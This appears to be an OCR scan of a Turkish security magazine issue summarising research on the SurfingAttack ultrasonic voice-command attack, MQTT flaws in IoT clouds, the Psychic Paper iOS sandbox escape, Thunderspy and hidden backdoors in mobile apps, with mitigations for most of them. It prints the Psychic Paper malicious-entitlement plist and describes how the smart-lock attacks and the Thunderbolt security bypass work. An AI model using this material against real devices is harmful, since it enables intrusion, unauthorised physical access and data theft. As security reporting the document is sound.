Samsung  Galaxy S7 Android 7.0 Google 4 v v 25.8 m > 0.8, r=0.2~0.5 -36.7
Samsung | Galaxy S9 Android 9.0 Google v v v 26.5 m > 0.8, r=0.2~0.5 -35.2
Xiaomi Mi 5 Android 8.0  Google v v v 28.3 m > 0.8, r=0.2~0.5 -35.1
Xiaomi Mi 8 Android 9.0 Google v v v 25.6 m =1, r=0.3~0.5 -35.6
Xiaomi Mi 8 Lite Android 9.0 Google v v v 25.5 m =1, r=0.3~0.5 -35.3
Huawei Honor View 10 Android 9.0 Google v v v 27.7 m>0.9,r=0.5 -35.0
Huawei Mate 9 Android 8.0 Google X X X 32.0 m > 0.8, r=0.1~0.5 -75.6
Samsung  Galaxy Note 10+ Android 10 Google X X X 26.0 m > 0.8, r=0.1~0.5 -61.4
Apple iPhone 5 i0S 10.0.3 Siri v v v 26.2 m > 0.8, r=0.5~0.6 -37.2
Apple iPhone 5s i0S 12.1.2 Siri 4 v v 271 m > 0.8, r=0.5~0.6 -36.8
Apple iPhone 6+ i0S 11 Siri v v v 26.0 m > 0.8, r=0.2~0.5 -37.4
Apple iPhone X i0S 12.4.1 Siri v v v 26.0 m > 0.8, r=0.2~0.5 -37.3

Tablo 1: Saldiri dlizenlenen telefon modelleri.
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gonderilir. Ve son adimda dogrulama kodu kayit cihazi
yardimiyla saldirgana ulasmis olur.

Bir diger saldin taktigi 6rnegi de sudur. Bilinmeyen nu-
maralardan gelen aramalar cevaplamamak oldukca
yaygin bir davranigtir. Bunun altinda yatan en buyik
sebep ise arayan numaraya karsi duyulan guvensizlik-
tir. Oysa SurfingAttack yontemi kullanilarak yapilacak
bir dolandiricilik veya aldatma tabanli aramada ara-
nan Kisinin bu ényargisi agilarak aramaya cevap ver-
mesi saglanmakta ve istenilen bilgiler elde edilmekte-
dir. Sekil 56’da sahtecilik icerikli bir aramanin adimlari
go6rulmektedir.

Bu saldin yéntemi 17 populer mobil cihaz kullanilarak
test edilmistir. Tablo 1’de kullanilan modeller ve test so-
nuclari hakkinda bilgi veriimektedir.

SurfingAttack saldirisi temel olarak Huawei Mate 9
ve Samsung Galaxy Note 10+ ile basarisiz olmustur.
Bunun sebebi her iki telefonun da kavisli ylzeylere
sahip olmasidir. Mate 9’un sadece arka yilzeyi kavis-
li iken, Note 10+’In her iki ylzeyi de kavislidir. Testin
farkhhklarindan kurtulmak icin Note 10+ Uzerinde de
Android 8.0 isletim sistemi yuklenerek test tekrarlan-
diginda sonuclarin degismedigi gézlenmistir. Note 10+
Uzerinde ultrasonik sinyaller dl¢tldigtnde oldukga du-
stk degerlerle karsilasilmis ve sonug olarak telefonun
yapisal sekli ve yapildi§i materyalin bu basarisizigin
sebebi oldugu anlasiimistir.

Aliminyum bir ylzey Uzerinde 9 metre mesafeden sal-
din basariyla gerceklestiriimistir. Yapilan hesaplamalar-
da saldin mesafesinin daha da yukar cekilmesi olasi
olmakla birlikte bazi dezavantajlari vardir; érnegin me-
safenin uzatiimasi sonucu daha guglu sinyaller Uretilme
ihtiyaci dogacaktir ve bu durum ultrasonik ylizeyde tit-
resimlere sebep olacagindan saldirinin fark edilmesine
neden olacaktir.

SurfingAttack saldinsini 6énlemek igin tg¢ farkli 6neri
Uzerinde durulabilir. ilk olarak dikkate alinmasi gereken
kisim telefonlarin donanimsal tasarimlarinin glclendiril-
mesidir. Ultrasonik sinyaller cihazlarin saseleri Gzerinden
mikrofonlarina iletilmektedir. Fiziksel yapilarda yapilacak
Uretim iyilestirmeleriyle ultrasonik sinyallerin mikrofona
ulasmasi engellenebilir.

Bir diger etkili ve basit 6nlem ise cihazlarimizi farkl tir-
deki katmanlardan olusan yizeylere koymak olacaktir.
Cunku ultrasonik sinyallerin farkli ylzeylerde yayilim
katsayilari farkli oldugundan ve ayni tiirde olmayan ma-
teryaller arasinda gecis yaparken kayiplar yasanaca-
gindan sinyallerin telefonlarin mikrofonuna ulagsmasi
engellenecektir.

Son olarak, yazihm bakimindan alinabilecek &énlemlerle
sesli komutlarin gerekli 6zellikleri incelenip gercek insan
etkilesimi olmadigi anlasilan diyaloglar reddedilebilir.
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14. 1oT Bulut Servislerinde Kullanilan MQTT
Protokoliiniin Giivenligi

Nesnelerin interneti (IoT) cihazlannin popdlerligi ve kolay
kullanilabilir olmalar IT diinyasinda loT Bulut Platformlari
gibi yeni servislerin ortaya ¢cikmasini getirdi. Bu plat-
formlar sayesinde loT cihazlar, 6rnegin akilli kilitler, ter-
mostatlar, akilll aydinlatma sistemleri vb. Urlinler internet
Uzerinden uzaktan kontrol edilebiliyor. AWS loT Core,
Microsoft Azure loT Hub ve Samsung SmartThings bu
platformlarin baglica érnekleri. Bu tip servislerin merke-
zinde, loT cihazile 10T Bulut platformu arasindaki iletigimi
saglayan mesajlasma protokolleri var. AWS, Microsoft,
IBM, Alibaba, Tuya, Google gibi birgok servis saglayi-
cl MQTT (Message Queuing and Telemetry Transport)
mesajlasma protokolini kullanmaktadir. MQTT, given-
siz ve dustk band genigligine sahip kanallar Uzerinden
haberlesen kisith bilgi islem guicline sahip cihazlar icin
gelistirmis bir mesajlasma protokoltidir. Bu &zellikleri
suphesiz MQTT’i loT dinyasinda oldukc¢a popduler hale
getirmektedir. Ancak MQTT, glvenlik kaygilari 6n plan-
da tutularak tasarlanmis olmayan, kimlik dogrulama ve
yetki tanimla agsamalarini icermeyen bir protokoldir. Bu
noktada servis saglayici platformlar kendi givenlik kat-
manlarini MQTT ile entegre etmek durumundadir.

Yaplilan testler servis saglayicilarin guvenlik eklemelerine
ragmen MQTT protokoliniin gesitli zafiyetler igerdigini
gostermistir®2. Saldirganin gergeklestirebilecegi ataklar
olarak, kurban cihazin kontroliiniin ele gegirilmesi (6rne-
gin akill kilit kullanan bir kapinin veya pencerenin acil-
masi), kurbanin ginlik rutini, saglik élgimleri veya ko-
numu gibi kisisel bilgilerin sizdiriimasi, loT cihazin servis
disi birakilmasi, farkh loT cihazlarinin taklit edilerek bilgi-
lerin maniple edilmesi sayilabilir. Bu gibi saldirilarin etki-
lerini 6lgmek igin sekiz populer loT Bulut platformunun
servislerini inceleyen Yan Jia ve arkadaslan s6z konusu
platformlarin kendilerine gore 6zellestirdikleri MQTT pro-
tokollinde kritik zafiyetler kesfetmistir®2.

Bulut tabanl bir loT sistemi tipik olarak ¢ bilesenden
olusur:

Bulut sistemi
loT cihazi
Kullanici ara yuzi (genellikle mobil uygulama)

ﬁ ToT cloud E

Device User
manufacturer |
Control

v

Mobile
application

Configure

e

Message broker

Commands Commands

ToT
Device

Information Information

Sekil 57: Bulut tabanli loT iletisiminin mimarisi.
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Sekil 57°deki mimarinin kalbinde iletisimi ydneten bulut
platformu yer aliyor. Mobil uygulama loT cihaza kont-
rol komutlar génderir (kapiy! kilitle) ve cihazdan dénen
mesajlari alir (kapi acik mi, kapali mi?). Bulut sistemi bu
etkilesimi glivence altina almak igin uygulama ve loT ci-
hazin kimligini dogrular, ayrica kullanicinin erisilmek iste-
nen loT cihaza yetkisi olup olmadigini kontrol eder.

MQTT protokolll, mesaj kaynadinin mesaji konusuna
veya igerigine gore soyut bir sinifa géndermesi ve bu si-
nifi takip eden dinleyicilerin de gelen mesajlan otomatik
olarak almasi prensibine goére galisir MQTT tabanli loT
iletisiminin merkezinde “message broker” adi verilen bir
yapi vardir. Bu kisim gelen mesajlari konularina gére tu-
tar. Herhangi bir MQTT istemcisi (mobil uygulama veya
loT cihazi) mesaj génderdiginde broker bunu ilgili konu-
yu takip eden butiin istemcilere génderir. MQTT proto-
koliinde istemci U¢ tip mesaj gdnderebilir: CONNECT,
PUBLISH ve SUBSCRIBE.

: Tdentity : ’
|—CON_'N[_.CT_{SI|K:_MIE.\}_ — —)(——CONNECT {ClientIdg}

| e { | N hme !

SUBSCRIBE SUBSCRIBE 1
—rTupin:{Dm.Jccld.-"cmd} | @

|

Deviceldlomd_H{ 1 PUTC“,I“S;ISM,%; B
| .

T Topic: {Deviceld -,ruu:)T

|
PUBLISH  _ ||
E | Message: {emd:Start} |
PUBLISH |
. " Message: {status:72°F } | §

PUBLISH |
Message: {status:72'F} |

AP | ToT Device

 _ _Session

W Session ]

Sekil 58: |oT iletisiminde MQTT’nin kullanimi.

Sekil 58’de gorildigu gibi loT cihazi (akilli klima) MQTT
broker’a oturum agmak igcin CONNECT mesaji génderir.
Daha sonra bu oturuma SUBSCRIBE mesajiyla bir mo-
bil uygulama kaydolur. Bundan sonra mobil uygulama,
broker’a géndereceg@i mesajlarla akilli klimayi baslatabilir
veya kapatabilir. Akilli klima da durumuyla ilgili mesajlari
ayni broker Gzerinden mobil uygulamaya iletebilir.

MQTT protokolu siber glivenlik dikkate alinarak tasar-
lanmamistir. Ornegin kimlik dogrulama veya yetkilendir-
me adimlari bu mesajlasma protokoliinde mevcut degil-
dir. 10T servis saglayicilar bu acigi kapatmak icin kendi
glvenlik politikalarint MQTT’ye eklemeye ¢alismaktadir.
Konularin takibinde istemcilere uygulanan kimlik dog-
rulama ve gonderilen komutlarin yetkilendiriimesi drnek
olarak verilebilir.

Arastirmacilar loT Bulut platformlarinda kullanilan MQTT
protokoliniin glvenlik agisindan analizini yaparak kritik
zafiyetler bulmustur®. Bu zafiyetlerin ilki “Yetkisiz Will
Mesaji” saldinsidir. istemci takip etmek istedigi bir ko-
nuya kaydolmak icin broker’a Will Mesaji (CONNECT ti-
pinde MQTT mesajidir) génderir. Will Mesaji, komut veya
aclk metin tasiyan bir mesaj tUriddr. Eger istemcinin
broker ile baglantisi DISCONNECT mesaji géndermeden
koparsa, broker ayni konuyu takip eden butlin istemci-
lere Will Mesajini gdnderecektir. Bu hata yakalama 6zel-
ligi siber saldinlar disuntlerek gelistiriimis bir yéntem

28

NiSAN-HAZIRAN 2020

olmadigindan istismar edilebilir. Ornegin, kéti niyetli bir
saldirgan loT cihaza erisim izni dolduktan sonra da ¢alis-
masi i¢in hazirladigi bir Will Mesajini kaydolmak igin kul-
lanabilir. Daha somut bir érnek vermek gerekirse, evinize
gelen bebek bakicisina veya tamirciye kapinin akilli kili-
dine tek seferlik erisim izni verdiniz. Eger bu kisi MQTT
broker’a kaydolurken génderdigi Will mesajini ileriki bir
tarinte kilidin agcilmasini saglayacak komutla doldurarak
gonderirse, kendisine verilen erisim izninin siresi dol-
duktan sonra da kilidi agabilecektir. Bu senaryonun se-

masi Sekil 59°da gorilebilir.
>

Attacker AWS IoT Cloud Victim Device
CONNECT _
Will Message: { Command:Start} Pt
Revoke Resetand
attacker’ s used b_y the
permission victim
PUBLISH
Message: { Command:Start } _
= o of fline Will message PUBLISH .
1l o a8
Spoiline triggered Message: {Command:Start } | Start ‘

Sekil 59: iRobot Uzerindeki Will Mesaji saldirisi.

Diger bir saldin ydntemi de Yetkisiz Retained Mesajidir.
MQTT protokoliinde bir konuya mesaj génderildiginde
eger o konuyu takip eden istemciler yoksa mesaj broker
tarafindan otomatik olarak reddedilir. Fakat g&nderilen
mesaj Retained olarak etiketlenirse broker bu mesaji tut-
maya devam eder ve konuyu takip etmeye baslayan her
yeni istemciye bu mesaiji iletir. Will mesajinin oldugu gibi
Retained mesaiji da siber glivenlik doktrinleri disUnulerek
tasarlanmamistir. Sisteme ulasmaya yetkisi sona ermis
eski bir kullaniciya gizlilik icinde istedigi komutu ¢alistirma
olanagi verir. Ornegin Airbnb izerinden kiralanan bir oda-
nin akilll kapi kilidi, bu odayi daha édnceden kiralamis olan
ko6t niyetli birisi tarafindan agiimak istenebilir. Kota niyetli
kullanici yasal olarak kilidi kullandigi zaman diliminde bir
adet Retained mesaiji yollayarak (open the door at 3 a.m.)
Airbnb odasindan ¢ikis yaptiktan sonra odanin kapisinin
istedigi saatte acilmasini saglayabilir. Yapilan arastirma-
lar sonucunda AWS loT, IBM, Baidu, Tuya Smart, Eclipse
Mosquitto gibi popduler 10T bulut platformlarin bu tur bir
ataga karsi savunmasiz oldugu gorilmustirt,

istemci ve broker sunucusu arasindaki mesajlasma
MQTT oturumlarn Uzerinden yUritilir ancak MQTT otu-
rum yoénetimi de loT Bulut platformlan tarafindan gu-
venli sekilde ele alinmayan bir konudur. Her oturum bir
istemciyle eslesir. Bu ylzden istemcinin durumu degis-
tiginde oturumun durumu da giincellenmelidir. Ornegin
istemcinin loT cihazina erisim izni iptal edildiginde iligkili
oldugu oturumun “Subscription” ve “Lifecycle” durum-
lari da giincellenmelidir. Fakat glinlik uygulamalarda bu
durumlarin gerektigi gibi ele alinmadigi gérilmektedir.
Ornek olarak, giincellenmeyen Subscription durumu
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soyle bir senaryoya yol acgabilir. 10T cihazi, istemcinin
kendisi Uzerindeki bltin haklarni iptal ettiginde, istemci
higbir proaktif aksiyon alamaz olmalidir. Fakat, oturum
yonetimi dikkatlice incelendiginde MQTT tanimlamala-
rinin istemcinin haklarini kaybetmesi durumunda oturu-
mun nasil giincellenecegini belirtmedigi gdrtilmektedir.
Bunun sonucu olarak IoT cihazinin eski bir kullanicisi,
artik istedigi herhangi bir konuyu takip edemese de eski-
den kayith oldugu konulara gelen yeni mesajlari almaya
devam edecektir. IBM, Tuya, Alibaba, Baidu gibi 6nde
gelen loT bulut platformlarinin bu yénetim zafiyetini ta-
sidig arastirmacilarin analizlerinde ortaya konmusturt®2.
Diger bir ydnetim zafiyeti de Lifecycle durumunun giin-
cellenmemesidir. MQTT istemcisi iki farkli rolde olabilir,
cihaz (erisimine izin verilecek bilgi kaynagi) veya kullanici
(islem yapmak icin kimlik dogrulama veya yetkilendirme
asamalarindan gegmek zorunda olan istemci). Bu iki rol
loT bulut platformlarinda farkli sekilde yonetilir. 10T ci-
hazi yeni bir kullanici tarafindan sifirlandiginda énceki
kullanicinin cihaza erisim izinleri iptal edilmis olacaktir.
Fakat cihazin “Lifecycle” bilgileri glincellenmemektedir.
Bu ylzden cihaz hala ayni kimlik numarasini kullanarak
broker Uzerindeki konulara erismektedir. Cihazin kimlik
numarasi trafik bilgileri dinlenerek kolaylikla elde edilebi-
lecegi icin eski kullanici yetkili oldugu stiregte bu bilgiyi
edinmis olabilir. Bu adimdan sonra eski kullanici sahip
oldugu kimlik bilgisi ile 10T cihazini taklit ederek broker
sunucusuna sahte mesajlar génderebilir.

loT bulut platformlar, MQTT istemcilerini kendi platform
katmani kimliklerini (6rn. AWS loT bulutundaki Amazon
hesaplar) kullanarak dogrular. Ayrica, her istemci kendi
protokol diizeyindeki kimligi olan “Clientld” tarafindan da
tanimlanir. Bu iki kimlik arasindaki iligkiler karmasik ola-
bilir: bir hesapta, her biri kendi Clientld &zelligine sahip
birden fazla cihaz bulunabilirken, bir cihaz birden fazla
hesap arasinda paylasilabilir. Bu tir iligkiler eger iyi y6-
netilmezse, MQTT iletisiminin saldirilara maruz kalmasi
kaciniimazdir. Clientld ¢alma saldirnisi bunun bir rnegidir.
MQTT protokolliinde broker sunucusu eger tekrar eden
bir Clientld algilarsa ayni kimligi kullanan istemcileri sis-
tem otomatik olarak disUrir. Yapilan arastirmalarda is-
temcilerin Clientld’lerinin ag trafigi Gzerinde acik olarak
gittigi gdézlemlenmistir. Clientld’i tespit eden bir saldirgan
ayni kimligi kullanarak broker’a kayit istegi génderdigin-
de kimligin gercek sahibi broker tarafindan agdan disu-
rilecektir. Saldirgan ayni istegi tekrar gondererek siste-
me kayit yaptiracakti. MQTT, broker’lara eski Clientld’si
ile tekrar kayit olan istemciler gegmis oturum bilgilerine
erisme olanagi saglayabilir (“Clean Session” parametresi
aktive edilmis CONNECT mesaiji génderildiginde). Bunun
sonucu olarak saldirgan kurbanin sistemden diismeden
onceki buttin bilgilerine erigebilecektir. Bu tur bir saldirinin
IBM, AWS loT ve Baidu platformlari Gizerinde genis Olcekli
olarak gerceklestirilebilecegi gosterilmistir®.

Arastirmalar, populer loT Bulut platformlarinin kullanighlik
merkezli bir tasarima sahip olan MQTT ile karmasik bir
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etkilesime sahip kullanici-cihaz iligkisinin glvenlik ihtiyag-
larini yeterince karsilayamadigini gostermistir. Bu acig
kapatmak icin eksik olan guvenlik modelleri eklenmeli ve
kritik protokol varliklar tasarim ilkeleriyle glvence altina
alinmalidir. Atilabilecek somut adimlar ise sunlardir:

MQTT kimligi olarak kullanilan Clientld mutlaka
dogrulanmalidir ve eger bir glivenlik belirteci olarak
kullanilacaksa (6rn. oturum belirteci) gizliligi garanti
edilmelidir.

Kullanici ve cihaz arasindaki Lifecycle ve Subscription
durumu gibi kritik 6gelerin glincellemeleri yapilmalidir.

loT bulut platformlari, kullanicilarin ve cihazlarin me-
saj gbnderme/alma haklarini etkin ve givenlik pren-
siplerini g6z 6nlinde tutarak yonetmelidir (MQTT pro-
tokoll bu olgu Gzerine gelistiriimis degildir).

15. iOS Uzerinde Psychic Paper ile Yetki
Kazanimi

Apple, kisa stire 6nce iPhone cihazlardaki e-postalarini-
za, mesajlariniza, fotograflariniza ve parmak izinize bile
erisim saglayan, buyuk bir giivenlik acigini kapatan yeni
bir glincelleme yayinladi. Psychic Paper tarafindan sé-
murulen bu ag¢ik, uygulamanin kod imzasinda bulunan
XML maniple edildiginde, iOS sistemi tzerinde tim dos-
yalara erisim saglamaktadir.

XML, yapi olarak HTML'e benzese de daha kati kural-
lara sahiptir. Temel olarak tim nicelikler iki etiket (tag)
arasina yazllir; <tag> bir etiketi acar, </tag> bir etiketi
kapatir. Ancak bunun diginda eslesme olmayan etiket-
ler (<mis>matched</tags>), asla kapatiimayan nitelikler
(<attributes that="are never closed>) ve hatta sadece
<!> seklinde bir etiket bile kullanarak gecerli bir XML
olusturulabilmektedir®3,

Guvenlik acigi <!--> ve <!-> tokenlarinin kullanimina da-
yaliydi. Sistemde kullanilan ve uygulamalardaki yetkilen-
dirmeyi saglayan 4 farkli XML ayristiricinin bu tokenlari
farkl yorumladigi kesfedilmistir. Bu ayristinicilardan biri
guvenlik kontrollerini yaparken, uygulamalara yetkiyi ve-
ren farkh bir XML ayristiriciydi. Glvenlik kontrolinden
sorumlu kiitiiphane tim blogu yorum olarak gorip iste-
nen haklar incelemezken, yetkilendirmeyi yapan kittp-
hane ise blogu gecerli kabul edip okuyarak zararl hakla-
rin verilmesini saglamaktadirt®.

Bu acik, iki ayristirici kitiphanenin ciktilarini karsilag-
tiran bir kontrol eklenerek iOS 13.5 beta strimunde
¢6zulmUstir.

Psychic Paper Sémiiriisii Nedir, Nasil Calisir?

iOS ve diger Apple cihazlar i¢cin olusturulacak uygula-
malar sadece Xcode uzerinden derlenebilir. Xcode lze-
rinde derleme yapmadan uygulama olusturma sureci
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incelendiginde sistemde bir acik oldugu gérilmustir. Bu
acig! istismar eden sémuride kullanilan terimlerin an-
lamlarini asagida bulabilirsiniz.

PropertyList(plist): iOS ve macOS isletim sistemleri,
kod imzalar igin propertylist (6zellik listesi) kisaca plist
adi verilen XML bigimindeki dosyalari kullanir.

Kod imzalar:: iki farkli tiire ayrilan kod imzalari, iOS uy-
gulamalarina imza sertifikasi saglar. Bunlar:

1. App Store imzalar; sadece Apple tarafindan saglanir
ve uygulamanizin bu imzayi almasi i¢in detayl bir in-
celeme olan App Store incelemesini gecmesi gerekir.

2. Geligtirici imzalarn; Gcretsiz “7-day”, “regular” gelisti-
rici veya kurumsal sertifikayla olusturulabilir.

Sandbox: Uygulamaya saglanan kisitl kaynak kiimesi-
dir. Instagram’i érnek verecek olursak, fotograflara eri-
sim saglayabilir ancak sisteme ya da hassas bilgilere
erisimi glvenlik nedeniyle kisitlanir.

Entitlements (yetkilendirmeler): Her uygulama icin ayri
ayri atanan ayricaliklar kiimesidir. Kod imzalarinda plist
dosyalar olarak yazilir ve Sandbox kurallarini belirler-
ler. iOS i¢in uygulamalarin erigsimlerine izin verir ya da
reddederler.

Nasil calistigini kisaca anlatacak olursak, sémurid iPho-
ne Uzerindeki hassas verilere ulasmak icin Entitlement
plist dosyalarina karigsarak galisir. Bu sémurd yéntemi
Sandbox Escape olarak bilinir®,

<plist version="1.8">
<dict>

<key>platform-application</key>

<true/>

<key>com.apple. private.security.no-container</key>
<true/>

<key>task_for_pid-allow</key>

<true/>

</dict>
</plist>

Sekil 60: S6miirii kodu.

Sédmdirl, Sandbox Escape yapabilmek igin 3 kbt amagh
yetkiyi (entitlement) kullaniyor.

com.apple.private.security.no-container: iPhone
kullanicisinin erisebildigi tim dosyalara okuma ve
yazma erisimi kazanarak iOS guvenligini tamamen
ortadan kaldirmak igin kullanilir.

task_for_pid-allow: Secili islemin goérev baglanti
noktasini (portunu) gorintlleyip, saldirganin islem
bellegini okuma ve yazmasina izin verir.

platform_application: Apple tarafindan imzalanma-
mis binary dosyalardan, Apple tarafindan imzalanmis
binary dosyalara sizilmasi islemini maskeler.

Bu yetkileri tanimlayarak sémuirli, kernel ve root disinda
tlim dosyalara erigim saglayabiliyort3,
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Psychic Paper S6miiriisiiniin Zararh Etkileri

Bu somirl sadece iPhone’larda degil, iPad, Mac,
Watch ve diger tim Apple cihazlari icin de zararl olabilir.
Kolaylikla asilabilen glivenlik kontrolleriyle ele gecirilebi-
len gizli verileriniz, yanhs kigilere ulastiginda etkileri ol-
dukca yikici olacaktir. S6muri fiziksel temas gerektirme-
digi icin, dinyanin diger ucundaki bir saldirgan karsisin-
da bile cihaziniz savunmasiz kalacaktir. Bu sémuarinin
ortaya ¢cikmasindan bu yana, bircok arastirmaci benzer
deneylerini agikladi. Bunlardan biri, SMS mesajlarinizi ve
iMessage’larinizi okuyan sémurtyken, baska biri dosya
okuma ve yazma izniyle cihaz tzerinde shell erisimi elde
eden somUrtydaik4,

Psychic Paper Somiiriisii Nasil Cozildi?

Saldirgana, sonsuz yetki saglayan bu aciklik CVE-2020-
3883 zafiyet numarasiyla asagidaki sekilde raporlandi.

AppleMobileFilelntegrity

Gecerli oldugu cihazlar: iPhone 6s ve Ustd, iPad Air 2
ve Ustl, iPad mini 4 ve Ustl ve iPod touch 7. nesil

Etki: Bir uygulama keyfi yetkileri kullanabilir.
Aciklama: Bu sorun kontroller iyilestirilerek giderildi.
CVE-2020-3883: Linus Henze (pinauten.de)®

Apple bu sémirtye neden olan acgiklidi yeni bir XML ay-
ristirici ekleyerek ¢6zdd. Ayni islemi yapan birden fazla
kod pargasinin olmasinin, bu hatayi kapatirken belki ile-
ride bagka bir hatanin ortaya ¢ikmasina neden olabilece-
gi distnUdimektedir.

16. Thunderbolt Portlari ile Bilgisayardaki
Verilere Erisim Mimkiin

Bjorn Ruytenberg bilgisayarlardaki Thunderbolt portunu
hedef alan, Thunderspy adini verdigi calismasinda, bu
porta sahip fiziksel erisime agik bilgisayarlardaki verilerin
okunup kopyalanabilecegini gosterdi®®. Thunderspy ile
bu verilerin okunabilmesi, sifrelenmis bir striiclide, hatta
kilitli ya da uyku kipinde olan bir bilgisayarda dahi mim-
kin olmaktadir. Thunderspy calisirken sistemde iz birak-
mamakta, ayrica bilgisayar sahibinin bir linke tiklamasini
ya da zararli bir donanim kullanmasini gerektirmemekte-
dir. Bilgisayarda Secure Boot, glicli BIOS korumasi, pa-
rolalar ve hatta disk sifreleme aktif olsa dahi saldiryi yap-
mak mUmkuUn olmaktadir. Intel’in tasariminda 7 adet zafi-
yet bulan arastirmaci 9 saldin senaryosuyla bu zafiyetleri
nasil sémdurebilecegini gdstermistir. Saldinimak istenen
bilgisayara, tornavida ve kolay tasinabilir bir donanimla 5
dakikada bu senaryolari uygulamak mimkun olmaktadir.
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Arastirmacinin Spycheck adini verdigi Ucretsiz ve acik
kaynak kodlu bir aracla, herhangi bir bilgisayarin bu za-
fiyetlerden etkilenip etkilenmedigdi test edilebilmektedir.
Bu arac¢ ayrica sistemi bu zafiyetlerden korumak igin ¢e-
sitli tavsiyelerde bulunmaktadir. Thunderbolt Controller
Firmware Patcher (tcfp) yazilmi ile Thunderbolt giivenlik
mekanizmasi, SPIblock araci ile de SPI Flash’in yazma
izni devre digi birakilabilmektedir. Bu iki arag beraber
kullanildiginda Thunderbolt glvenlik mekanizmasi kalici
olarak ortadan kaldirimakta, gelecek firmware glncelle-
meleri de engellenebilmektedir.

Thunderbolt Intel tarafindan gelistirilen 40 Gbps’e ka-
dar veri aktarim hizina izin veren bir baglanti metodu-
dur. Thunderbolt kullanilarak cihazlara Direkt Bellek
Erisimi yapilabilecegi, bir saldirganin fiziksel erigimi
oldugu sistemdeki sifrelenmis sunuculardan veri oku-
yabildigi ve tim bellege veri yazabildigi gosterilmistir.
Intel bu saldinlara énlem olarak “Glvenlik Seviyeleri”
¢6zUmUnd sunmustur. Bu yéntemle kullanicinin sadece
glvendigi Thunderbolt cihazlara erisim yetkisi vermesi
saglanmaktadir. Bu ¢dzim ayrica saldirgan cihazlarin
kullanicinin yetkilendirdigi cihazlarin yerine gec¢cmesini
engellemektedir.

Thunderspy ise Thunderbolt 1, 2 ve 3 icin gelistirilen
bu glvenlik mekanizmalarini devre digi birakmay! sag-
lamaktadir. Bu ¢calismada Thunderbolt lizerinde su zafi-
yetler tespit edilmigtir:

1. Yetersiz Uriin yazilm dogrulama yéntemleri
2. Zayif cihaz kimlik dogrulama yoéntemleri

3. Kimligi dogrulanmamis cihaz meta
kullanimi

4. Geriye dénik uyumluluk kullanarak diistirme saldirisi

5. Kimligi dogrulanmamis denetleyici yapilandirmalari-
nin kullanimi

6. SPI Flash arabirimi eksiklikleri
7. Boot Camp Thunderbolt giivenliginin eksikligi

verilerinin

Bu zayifliklar kullanilarak 9 pratik sdmuri senaryosu ger-
ceklestirilebiliyor. Aragtirmacilar “Evil Maid” saldirn mo-
delini kullanarak, rasgele bir Thunderbolt cihazi tanim-
layip, kullanicinin yetkilendirmis oldugu bir Thunderbolt
cihazini kopyaladilar. Sonra da PCle baglantisi kullana-
rak Direkt Bellek Saldirilar yaptilar.

2011-2020 yillar arasinda Uretilmis Thunderbolt tekno-
lojisine sahip butlin sistemler bu saldirilardan etkilen-
mektedir. 2019°’dan sonra Uretilen Kernel Direkt Bellek
Erisimi korumali bazi sistemler ise bu saldirlarin sadece
bir kismindan etkilenmektedir. Bu zayifliklar yaziim giin-
cellemesiyle degil ancak donanim glincellemesiyle orta-
dan kaldirilabiliyor.

Manuel olarak yapilacak test ile bir cihaz lizerinde Sekil
61’de belirtilen ikonlar var ise bu cihazin belirtilen zafi-
yetleri barindirdigi sdylenebilir.
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Sekil 61: Manuel test igin bakilmasi gereken ikonlar.

Intel ve Apple ile iletisime gecen arastirmaci iki Ureticinin
de zafiyetlerin ¢6zUmu igin bir girisimde bulunmadigini
belirtti. Intel zafiyetlerin varligini kabul etmekle birlikte bu
zafiyetlere CVE numarasi atamayacagini acikladi.

Saldiridan Korunma Yontemleri

Bu saldirilardan etkilenmis bir sistemi korumak igin su
yontemler dnerilmektedir:

Kullanilan sistemlere sadece glvenilen cihazlar
baglanmalidir.

Bilgisayar ekrani kilitli dahi olsa fiziksel erisime acik
birakiimamalidir.

Cihazlar “Sleep”
alinmaldir.

Eger Thunderbolt kullanilmayacaksa UEFI Gzerinden
Thunderbolt portlari tamamen kapatiimalidir.

Bu saldirilarin Direkt Bellek Erisimi yapan kisimlari-
ni engellemek icin 2019 sonrasi sistemlerde bulunan
Intel tasarimli Kernel Direkt Bellek Erigsimi Korumasi
kullaniimalidir.

kipi yerine “Hibernate” kipine

17. Mobil Uygulamalardaki Girdi Dogrulama
Yontemleriyle Arka Kapilarin Kesfi

Mobil uygulamalarin popdilaritesinin glinden gtine art-
masina paralel olarak basta Apple Uygulama Magazasi
ve Google Oyun Magazasi gibi platformlar tzerinden ol-
mak Uzere, ylz milyonlarca akilli telefon kullanicisi sayi-
siz uygulamayi sanal marketlerden indirerek kullanmak-
tadir. Bu uygulamalar zengin ve kullanigli 6zelliklerini son
kullanicilara sunarken iclerinde ifsa etmedikleri bircok
gizli dzelligi de barindirmaktadir. Bunlara érnek olarak;
kara listeler olusturarak istenmeyen icerikleri engelleme,
hassas icgerikli bilgi toplama ve arka kapilar olusturma
verilebilir. Bu calismada girdi dogrulama yéntemleri gés-
terilerek, uygulamalar Uzerinde yapilan iglemlerle kulla-
nici tarafindan girilen girdilere uygulamanin verdigi ce-
vaplar, gelistirilmis glcli bir aracla incelenecek ve gizli
Ozellikler ortaya cikariimaya calisilacaktir. S6z konusu
“InputScope” araci, arka planda olusturulan bu sirlari
otomatik olarak ortaya ¢ikarmak i¢in, hem kullanici girisi
dogrulamasinin ylritme baglamini (execution context)
tespit etmek hem de dogrulamaya dahil olan igerigi oto-
matik olarak algilamak icin gelistirilmistir. InputScope,
en blylk sanal marketlerde sunulan, aralarinda trend
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uygulamalar da bulunan 150 binden fazla mobil uygula-
ma Uzerinde (Google Play’den en fazla indirilen 100 bin
uygulama da bu veri kimesine dahildir) test edilmis ve
bu uygulamalarin 12.706 tanesinin bir sekilde arka kapi
bulundurdugu, 4.028 tanesinin ise kara liste tasarimi
icerdigi gdzlemlenmistir. Uygulamalar degisik tiirlerden
arka kapllar icerebilir; gizli erisim anahtarlari, ana paro-
lalar (master passwords) ve sadece yoénetici yetkisiyle
erisim saglanabilen fonksiyonlar uygulamalarin barindir-
didi gizli davraniglara érnektir. Kara liste tasarimlarindaki
amagc 6zellikle istenmeyen iceriklerin kullaniimasini en-
gellemektir. Ornegin siyasi liderlerin isimleri, irkgi sdy-
lemlerin ve hakaretlerin engellenmesi gibi.

Gorunuste guvenli olan uygulamalarin iginde, kullanici-
larin ve gelistiricilerin farkinda olmadan caligarak fark-
I motivasyonlarla kullanicilara zarar veren ve guvenlik
tehlikesi olusturan gesitli ydntemler mevcuttur. Bir ekran
kilidi uygulamasi ana parolayi bilen herkesin ekran kili-
dini atlatmasina (bypass) izin veren bir arka kapi icere-
bilir. Yine bu tur gizli iglevler, kullanicilarin uygulamaya
yerlestiriimis kisitlamalari atlatmasina izin verebilecegin-
